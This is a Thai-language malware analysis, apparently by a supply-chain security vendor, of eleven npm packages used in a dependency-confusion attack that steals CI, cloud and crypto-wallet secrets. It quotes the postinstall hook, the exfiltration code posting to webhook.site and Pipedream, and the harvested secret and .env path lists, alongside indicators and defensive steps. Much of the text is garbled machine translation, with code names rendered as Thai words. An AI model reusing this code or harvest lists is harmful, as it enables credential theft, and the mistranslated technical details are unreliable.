ความสับสนของ CryptoDAO: การเก็บรวบรวมแพ็กเกจ npm CI/CD และความลับของคริปโต

ความสับสนของ CryptoDAO: แพ็กเกจ npm สิบเอ็ดแพ็กเกจ, เพย์โหลดเดียว, การเก็บเกี่ยวข้อมูล CI/CD และความลับของกระเป๋าเงินคริปโต

TL; DR

เมื่อวันที่ 17 มิถุนายน 2026 บัญชี npm บัญชีเดียวได้เผยแพร่ข้อมูล แพ็กเกจทั้งสิบเอ็ดชิ้นที่มีจุดประสงค์และเนื้อหาเดียวกันสิบคนในนั้นแบกรับ... cryptodao- คำนำหน้า (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); ลำดับที่สิบเอ็ดคือขอบเขต @public-for-cdao/coreทุกชิ้นได้รับการเผยแพร่ในเวอร์ชัน 99.99.99 และจัดส่งแบบไบต์ที่เหมือนกัน recon.js ที่ทำงานบน postinstall.

ชื่อเหล่านั้นบ่งบอกทุกอย่าง พวกมันดูเหมือนส่วนประกอบภายในของชุดเครื่องมือส่วนตัวของโครงการคริปโต/DAO ถูกเผยแพร่ไปยังรีจิสทรี npm สาธารณะด้วยเวอร์ชันที่สูงเกินจริง และรอการสร้างอยู่ pipeline ซึ่งได้รับการกำหนดค่าให้แก้ไขชื่อเหล่านั้น และเข้าถึง npm สาธารณะก่อน หรือแทนที่จะเข้าถึงรีจิสทรีส่วนตัว นี่คือ ความสับสนในการพึ่งพาและอุปกรณ์ที่บรรทุกได้รับการปรับแต่งให้เหมาะสมกับตำแหน่งที่คาดว่าจะลงจอดอย่างแม่นยำ: CI/CD นักวิ่ง.

เมื่อ postinstall ไฟไหม้ recon.js รวบรวมรายละเอียดของโฮสต์ และทำการกวาดล้างอย่างคร่าวๆ ตัวแปรสภาพแวดล้อมสำหรับคลาวด์, CI และกระเป๋าเงินคริปโตจำนวนสี่สิบตัวอ่านได้ทุกเล่ม .env ระบบจะค้นหาไฟล์ที่สามารถค้นหาได้และส่งต่อบรรทัดที่มีความลับโดยไม่เปลี่ยนแปลง จากนั้นจะส่งชุดข้อมูลไปยังผู้รวบรวมข้อมูลสองราย — webhook.site และเอนด์พอยต์ Pipedream ที่ปิดใช้งานการตรวจสอบใบรับรอง TLS สำเนาถูกเขียนไว้ภายใต้ /tmp.

ความรุนแรง: สูงระบบนิเวศที่ได้รับผลกระทบ: NPMแพ็กเกจทั้งสิบเอ็ดแพ็กเกจใช้งานได้ปกติ ณ เวลาที่เขียนบทความนี้

กายวิภาคการโจมตี

กลไกนี้มีชิ้นส่วนที่เคลื่อนไหวได้สี่ชิ้น และไม่มีชิ้นไหนที่ซ่อนเร้นได้เลยเมื่อคุณรู้วิธีใช้งาน ดูข้อมูลถัดจากชื่อแพ็กเกจไปอีกชั้นหนึ่ง

1. การขยายเวอร์ชันเพื่อล่อลวงตัวแก้ไขปัญหา แต่ละแพ็กเกจจะระบุเวอร์ชัน 99.99.99ความสับสนเรื่องการพึ่งพาเกิดขึ้นเมื่อตัวจัดการแพ็กเกจร้องขอ ชื่อภายใน ระบบจะตรวจสอบทะเบียนสาธารณะและเลือกเวอร์ชันสูงสุดที่มีอยู่ npm จะเลือกค่าเริ่มต้นสำหรับการใช้เครื่องหมายเคอร์เซอร์หรือช่วงตัวอักษรแทนค่าว่าง เวอร์ชันที่น่าพึงพอใจที่สุดจากทุกแหล่งที่มาที่กำหนดค่าไว้ หากทั้งสองเป็นส่วนตัว หากระบบลงทะเบียนและ npm ระบุชื่อเดียวกัน หมายเลขเวอร์ชันที่มากกว่าจะเป็นผู้ชนะ A 99.99.99 เหนือกว่าเวอร์ชันภายในที่แท้จริงใดๆ ที่โครงการจะมีอย่างแน่นอน ถึงแล้ว ดังนั้นตัวแก้ไขที่ไม่ผูกติดกับแหล่งข้อมูลส่วนตัวจึงเลือกใช้ สำเนาสาธารณะ — และในกรณีนี้ เป็นสำเนาที่เป็นปรปักษ์ — ผู้ปฏิบัติงานไม่จำเป็นต้องรู้ หมายเลขเวอร์ชันจริงของเป้าหมาย การเลือกค่าสูงสุดที่ไร้สาระจะรับประกันว่าผลจะออกมาเสมอ พวกเขาฝ่าฟันอุปสรรคไปได้

2. ตัวกระตุ้นหลังการติดตั้ง package.json เชื่อมต่อสายส่งข้อมูลเข้ากับการติดตั้ง วงจรชีวิต:

{   "scripts": { "postinstall": "node recon.js" } }

ไม่ต้องนำเข้าแพ็กเกจ เพียงแค่ติดตั้งก็เสร็จเรียบร้อยแล้ว — ซึ่งระบบ CI สามารถทำได้ pipeline ทำโดยอัตโนมัติ — เรียกใช้ รีคอน.เจเอส.

3. การกวาดล้างลับในวงกว้าง รีคอน.เจเอส รวบรวมผลลัพธ์เป็นอาร์เรย์ทีละขั้นตอน:

  • บริบทของโฮสต์: ชื่อโฮสต์, แพลตฟอร์มและเวอร์ชัน, สถาปัตยกรรม, ชื่อผู้ใช้, สถานะการทำงาน ไดเรกทอรี
  • ตัวแปรสภาพแวดล้อม: มันจะวนซ้ำรายการชื่อและบันทึกคงที่ประมาณสี่สิบรายการ ใดๆ ก็ตามที่ถูกกำหนดไว้ รายชื่อนี้เผยให้เห็นอะไรบางอย่าง — มันจับคู่โทเค็น CI ทั่วไป (CI_JOB_TOKEN, รหัสผ่านรีจิสทรี CI, โทเค็นการเข้าถึง GITLAB_ACCESS_TOKEN) และคลาวด์ ข้อมูลประจำตัว (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, โทเค็นเซสชัน AWS) พร้อมด้วยรีจิสทรีและรหัสลับคอนเทนเนอร์ (เอ็นพีเอ็ม_โทเค็น, รหัสผ่าน Docker, รหัสผ่านท่าเรือ) และคลัสเตอร์ที่มีลักษณะเฉพาะของคริปโตเคอร์เรนซี:  คีย์ส่วนตัว, เทคนิคช่วยจำ, วลีเริ่มต้น, คีย์ API ของอินฟูรา, ALCHEMY_API_KEY, อีทีเอช_อาร์พีซี, บีเอสซี_อาร์พีซีค่าที่บันทึกไว้จะถูกตัดเหลือเพียง 50 ตัวอักษรแรก
  • .env ไฟล์: มันจะตรวจสอบรายการเส้นทาง — .env, ../.env, /แอป/.env, /app/backend/.env, /แอป/บอท/.env, /home/gitlab-runner/.env, /root/.env, และ .การผลิต/.การพัฒนา ตัวแปรต่างๆ — และสำหรับไฟล์ใดๆ ที่มีอยู่ กรองเนื้อหาให้เหลือเฉพาะบรรทัดที่ตรงกัน กุญแจ|ความลับ|โทเค็น|รหัสผ่าน|ส่วนตัว|วิธีจำ และแสดงบรรทัดเหล่านั้น **แบบเต็ม ไม่ตัดทอน** ในผลลัพธ์
  • บริบทของ Build-host: แสดงรายการ 20 รายการแรกของ /สร้าง/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/และ / tmp /.

รายการเส้นทางและรายการตัวแปรได้รับการถ่วงน้ำหนักไปทาง GitLab runner ซึ่งชี้ให้เห็นว่า เนื้อหาหลักมุ่งเป้าไปที่โครงสร้างพื้นฐาน CI ที่โฮสต์เองมากกว่านักพัฒนา แล็ปท็อป การจัดกลุ่มรายการเก็บเกี่ยวตามหมวดหมู่ทำให้เห็นผลผลิตที่คาดหวังได้อย่างชัดเจน:

Category ตัวแปร / เส้นทางที่เข้าถึง
CI/CD การระบุตัวตนและการปรับใช้ CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
เมฆ AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
ทะเบียนและคอนเทนเนอร์ NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
ที่เก็บข้อมูล DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
คริปโต/บล็อกเชน PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
ส่งข้อความ SLACK_TOKEN, DISCORD_TOKEN
บนดิสก์ .env ครอบครัว + /home/gitlab-runner/.env, /root/.env, /app/**/.envรายชื่อไดเร็กทอรีของ /builds/, /var/lib/gitlab-runner/

กลุ่มการเข้ารหัสลับเป็นส่วนที่ทำให้สิ่งนี้แตกต่างจากรหัสลับ CI ทั่วไป sweep: วลีรหัสลับและรหัสลงนามของกระเป๋าเงินจะปรากฏเฉพาะในสภาพแวดล้อมของ sweep เท่านั้น โครงการบล็อกเชน และพวกมันเชื่อมโยงโดยตรงกับ คริปโตดาว-/สัญญาณ/สัญญา การระบุชื่อผู้ให้บริการขนส่ง

4. การดึงข้อมูลออกสองทางโดยปิดใช้งานการตรวจสอบ อาร์เรย์ที่รวบรวมได้คือ แปลงเป็นรูปแบบอนุกรมและส่งแบบ POST ไปยังปลายทางสองแห่ง:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

ปฏิเสธไม่ได้รับอนุญาต: เท็จ ปิดใช้งานการตรวจสอบใบรับรอง TLS สำหรับขาออก มีการเรียกใช้ฟังก์ชันต่างๆ ข้อมูลเดียวกันจะถูกพิมพ์ไปยัง stdout (ดังนั้นจึงปรากฏในบันทึกงาน CI ด้วย) และ เขียนไป /tmp/.npm_recon_ .jsonความผิดพลาดมักถูกซ่อนไว้อย่างเงียบๆ ดังนั้น การส่งที่ล้มเหลวจะไม่ทิ้งร่องรอยใดๆ ในผลลัพธ์การติดตั้ง นอกเหนือจากข้อความเดียว [สำรวจ] ติดตั้งบน เส้น

ข้อความสำคัญในไฟล์ระบุว่าเป็น "ความสับสนเรื่องการพึ่งพา" "ข้อมูลการสอดแนม" การตัดทอนค่าสภาพแวดล้อมให้เหลือเพียง 50 ตัวอักษรได้ รูปทรงของต้นแบบการพิสูจน์แนวคิด สิ่งที่ทำให้มันเหนือกว่าบีคอนที่แสดงตำแหน่งเพียงอย่างเดียวคือ... .env การจัดการ: ข้อความลับจะถูกส่งต่ออย่างครบถ้วน และปลายทางจะถูกระบุ มีตัวเก็บรวบรวมข้อมูลสองตัวที่ทำงานได้และควบคุมโดยผู้โจมตี แทนที่จะเป็นตัวรับข้อมูลที่นับเพียงอย่างเดียว ฮิต

ปฏิบัติการ

รูปแบบการเผยแพร่ (publish pattern) เป็นเอกลักษณ์เฉพาะของการส่งข้อมูลแบบสคริปต์เพียงครั้งเดียว ไม่ใช่สิบเอ็ดครั้ง การอัปโหลดอิสระ

เวลา (UTC, 17 มิถุนายน 2026) อีเว้นท์
03:24:58 cryptodao-bot@99.99.99 การตีพิมพ์
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — รูปแบบที่มีขอบเขตชัดเจน ประมาณ 24 นาทีต่อมา

มีการส่งพัสดุออกไป 10 ชิ้นภายในช่วงเวลา 29 วินาที หรือประมาณหนึ่งชิ้นทุกๆ สามวินาที ขอบเขต @public-for-cdao/core ตามมาประมาณ 24 นาทีหลังจากนั้น — ครั้งที่สอง หลักเกณฑ์การตั้งชื่อสำหรับเป้าหมายเดียวกัน ในกรณีที่โปรเจกต์ที่ใช้งานอ้างอิงถึงเป้าหมายนั้น ชุดเครื่องมือภายในภายใต้ขอบเขตที่กำหนด แทนที่จะใช้ชื่อแบบเปล่าๆ

ตัวชี้วัดของการประนีประนอม

ประเภท ตัวบ่งชี้
Collector hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Collector hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
ติดตั้งตะขอ postinstall: node recon.js
ไฟล์ที่ถูกทิ้ง /tmp/.npm_recon_<timestamp>.json
เครื่องหมายบันทึก [recon] <pkg>@<ver> installed on <hostname> (เอาต์พุตมาตรฐานในบันทึก CI)
เกี่ยวกับพฤติกรรม rejectUnauthorized: false บน HTTPS ขาออกระหว่างการติดตั้ง
payload recon.jsเหมือนกันทุกประการในแพ็กเกจทั้งสิบเอ็ดแพ็กเกจ (ใช้บิลด์เดียวกัน)
เวอร์ชั่น 99.99.99 ในทุกแพ็คเกจ
แบบรวดเร็ว cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (ทั้งหมด 99.99.99)
สำนักพิมพ์ aduljune / aduljune@proton.me (อีเมลไม่ได้รับการยืนยัน ไม่มีลิงก์ไปยังแหล่งเก็บข้อมูลต้นฉบับ)

 การระบุสาเหตุและพฤติกรรมที่สังเกตได้

ทุกอย่างเกี่ยวกับคลัสเตอร์ชี้ไปที่มือข้างเดียว แพ็กเกจทั้งสิบเอ็ดแพ็กเกจได้รับการเผยแพร่แล้ว โดยบัญชี npm อะดัลจูน (aduljune@proton.meที่อยู่ที่ไม่ได้รับการยืนยันและไม่มีข้อมูลใดๆ (แหล่งเก็บข้อมูลที่เชื่อมโยง) ภายในระยะเวลา 25 นาที ในเวลาเดียวกัน 99.99.99 รุ่น การจัดส่งสินค้า รีคอน.เจเอส ซึ่งมีเนื้อหาเหมือนกันทุกไบต์ในทุกๆ แพ็คเกจ (MD5 ตรงกันในสำเนาที่แยกออกมาทั้ง 11 ชุด) นั่นคือเพย์โหลดหนึ่งตัว ประทับลงบนรายชื่อ ไม่ใช่การนำโค้ดกลับมาใช้ใหม่โดยอิสระ

รายชื่อดังกล่าวระบุถึงกลุ่มเป้าหมายที่ต้องการ คริปโตดาว-* และ ซีดีโอ อธิบายไฟล์ โครงสร้างโมดูลส่วนตัวของโครงการคริปโต/DAO และรายการเก็บเกี่ยวของเพย์โหลด สะท้อนให้เห็นถึงการคาดเดานั้น: นอกเหนือจากความลับทั่วไปของ CI และคลาวด์แล้ว ยังรวมถึงความลับเฉพาะอื่นๆ ด้วย เอื้อมมือไป คีย์ส่วนตัว, เทคนิคช่วยจำ, วลีเริ่มต้นและ Ethereum/BSC RPC และ คีย์ผู้ให้บริการ .env เส้นทางการค้นหาและรายการไดเร็กทอรีเป็นของ GitLab-runner เฉพาะเจาะจง ผลที่สังเกตได้คือว่าใดๆ pipeline ถูกหลอกให้ติดตั้งสิ่งเหล่านี้ ชื่อเหล่านั้นจะส่งต่อโทเค็น CI, คีย์บนคลาวด์ และข้อมูลที่จัดเก็บในดิสก์ .env ความลับ — และสำหรับ โครงการบล็อกเชนและข้อมูลในกระเป๋าเงินดิจิทัลของโครงการนั้น ถูกส่งมอบให้กับนักสะสมบุคคลที่สามสองราย

เราไม่ได้กล่าวอ้างใดๆ เกี่ยวกับผู้ที่ดำเนินการบัญชีหรือสิ่งที่พวกเขาวางแผนจะทำกับบัญชีนั้น ข้อมูล ข้อเท็จจริงที่ยืนหยัดได้ด้วยตัวเอง: ชื่อเหล่านั้นมุ่งเป้าไปที่ประเภทเฉพาะเจาะจง ชุดเครื่องมือภายใน ข้อมูลที่ส่งจะอ่านและส่งค่าลับจริง และ โครงสร้างพื้นฐานใช้งานได้แล้ว

ผลกระทบ แนวโน้ม และคำแนะนำสำหรับผู้เล่นฝ่ายรับ

ความสับสนในการพึ่งพา ยังคงมีประสิทธิภาพเพราะมันใช้ประโยชน์จากพฤติกรรมของตัวแก้ไข ไม่ใช่ ช่องโหว่ในบรรจุภัณฑ์ใดๆ ตัวขนส่งในที่นี้เล็กน้อยมาก — กล่องเกือบว่างเปล่าสิบเอ็ดกล่อง พัสดุ — แต่รัศมีของการระเบิดนั้นก็แล้วแต่ pipeline เลือกใช้ npm สาธารณะโดยเข้าใจผิด สำหรับชื่อภายใน นักวิ่ง CI คือสถานที่ที่แย่ที่สุดที่จะเกิดเรื่องแบบนั้นขึ้น: พวกเขาถือครอง โทเค็นและ .env ไฟล์ที่เพย์โหลดนี้อ่าน และติดตั้ง การพึ่งพาอาศัยกันแบบไม่โต้ตอบ ดังนั้น หลังการติดตั้ง วิ่งโดยไม่มีใครเฝ้าดู

กลุ่มข้อมูลนี้ยังสอดคล้องกับรูปแบบที่เราพบเห็นอยู่เรื่อยๆ นั่นคือ เพย์โหลดระหว่างการติดตั้งที่แสดงข้อมูลบางอย่าง ใช้เป็น "การวิจัย" หรือ "การสำรวจ" ในขณะที่กำลังดำเนินการรวบรวมข้อมูลประจำตัวจริง ๆ นี่คือฉลากที่ใช้เรียก ในไฟล์นั้นไม่ได้เปลี่ยนแปลงสิ่งที่โค้ดทำบนรันเนอร์ การเลือกออกแบบสองอย่างยังคงรักษาไว้ กิจกรรมต่างๆ เงียบสงบ: การทำงานของเครือข่ายและระบบไฟล์ทุกอย่างถูกห่อหุ้มด้วย ตัวจัดการข้อยกเว้นที่ละทิ้งข้อผิดพลาด เช่น การส่งที่ถูกบล็อก หรือไฟล์ที่หายไป ไม่แสดงผลลัพธ์การวินิจฉัยใดๆ และสิ่งที่พิมพ์ออกมามีเพียงข้อความที่ไม่เป็นอันตรายเพียงข้อความเดียว [สำรวจ] … ติดตั้งแล้ว เส้นที่กลมกลืนไปกับเสียงรบกวนระหว่างการติดตั้งตามปกติ การใช้ เว็บฮุค.ไซต์ และ Pipedream ก็ถูกออกแบบมาเพื่ออำนวยความสะดวกเช่นกัน — ทั้งสองโปรแกรมใช้งานได้ฟรี บริการจับภาพคำขอได้รับการจัดเตรียมทันที ดังนั้นผู้ปฏิบัติงานจึงไม่จำเป็นต้องมีเซิร์ฟเวอร์ ทั้งชื่อโฮสต์ของพวกเขาเองและปลายทางดูเหมือนจะเป็นชื่อโฮสต์ SaaS ทั่วไปในบันทึกการส่งออก

ปัจจัยทางเศรษฐศาสตร์เป็นสิ่งที่ทำให้เรื่องนี้คุ้มค่าแก่การให้ความสนใจจากฝ่ายปกป้อง แม้ว่า... รหัสผู้ให้บริการนั้นง่ายมาก การลงทะเบียนชื่อ 11 ชื่อไม่เสียค่าใช้จ่ายใดๆ และข้อมูลที่ต้องส่งก็มีเพียงหนึ่งเดียว ไฟล์ถูกคัดลอก 11 ครั้ง และตัวจัดการแพ็กเกจเป็นผู้ดำเนินการทั้งหมด เพียงครั้งเดียว กำหนดค่าผิด pipeline ทุกที่ที่บริโภคชื่อเหล่านี้จะต้องจ่ายเงินเต็มจำนวน การทำงาน

ขั้นตอนที่เป็นรูปธรรมสำหรับผู้เล่นตำแหน่งกองหลัง:

  • ตรึงขอบเขตภายในไว้ในรีจิสทรีส่วนตัวของคุณ กำหนดค่า npm ให้ใช้ชื่อภายใน
     และขอบเขตจะแก้ไขได้เฉพาะกับรีจิสทรีของคุณเท่านั้น (การแมปรีจิสทรีในไฟล์ .npmrc ที่มีขอบเขต)
    หรือใช้พร็อกซีที่ไม่ส่งต่อไปยัง npm สาธารณะสำหรับเนมสเปซที่เป็นกรรมสิทธิ์ของคุณ จองชื่อในขอบเขตสาธารณะของคุณไว้ เพื่อไม่ให้ผู้อื่นสามารถลงทะเบียนได้
  • Commit ไฟล์ล็อกและติดตั้งโดยใช้ตัวเลือก –ignore-scripts ใน CI เท่าที่ทำได้ หรือ ตรวจสอบกลุ่มของโปรแกรมที่จำเป็นจริงๆ ที่ต้องใช้สคริปต์การติดตั้ง  recon.js ไม่สามารถทำงานได้หาก หลังการติดตั้ง ไม่ถูกดำเนินการ
  • พิจารณาชื่อที่มีลักษณะภายในเป็นเวอร์ชัน 99.99.99 (หรือราคาที่สูงเกินจริงอื่นๆ) เป็นสัญญาณเตือนภัย ในการตรวจสอบความสัมพันธ์และการติดตามทะเบียนข้อมูล
  • แจ้งเตือนเมื่อมีการออกจากระบบระหว่างการติดตั้ง A หลังการติดตั้ง ซึ่งเปิดการเชื่อมต่อ HTTPS ขาออก การเชื่อมต่อ — โดยเฉพาะอย่างยิ่งเมื่อปิดใช้งานการตรวจสอบใบรับรอง — ไปยัง ควรบล็อก webhook.site, Pipedream หรือบริการดักจับคำขอที่คล้ายกันที่ขอบเครือข่ายและทำเครื่องหมายไว้ในบันทึกการสร้าง
  • ออกตามล่าหาโบราณวัตถุ ตรวจสอบนักวิ่ง /tmp/.npm_recon_*.json และสำหรับ [ตรวจสอบ] … ติดตั้งบน … เครื่องหมายในบันทึก CI ล่าสุด หากพบ ให้หมุนทุกครั้ง ข้อมูลประจำตัวที่ถูกเปิดเผยต่อสิ่งนั้น pipeline — โทเค็น CI, คีย์คลาวด์, โทเค็นรีจิสทรี และรหัสเริ่มต้นกระเป๋าเงินหรือคีย์ส่วนตัวใดๆ ที่มีอยู่ในไฟล์สภาพแวดล้อมหรือไฟล์ .env

อ้างอิง

ณ เวลาที่เขียนบทความนี้ ยังไม่มีรายงานภายนอกใดๆ เกี่ยวกับกลุ่มคลัสเตอร์นี้ การวิเคราะห์จึงยังไม่เสร็จสมบูรณ์ ข้อมูลข้างต้นอ้างอิงโดยตรงจากเนื้อหาในบรรจุภัณฑ์ที่เผยแพร่

sca-tools-software-composition-analysis-tools
จัดลำดับความสำคัญ แก้ไข และรักษาความปลอดภัยความเสี่ยงด้านซอฟต์แวร์ของคุณ
สมัครบัญชีฟรีได้เลย
ไม่ต้องใช้บัตรเครดิต

รักษาความปลอดภัยให้กับการพัฒนาและส่งมอบซอฟต์แวร์ของคุณ

ด้วยชุดผลิตภัณฑ์ Xygeni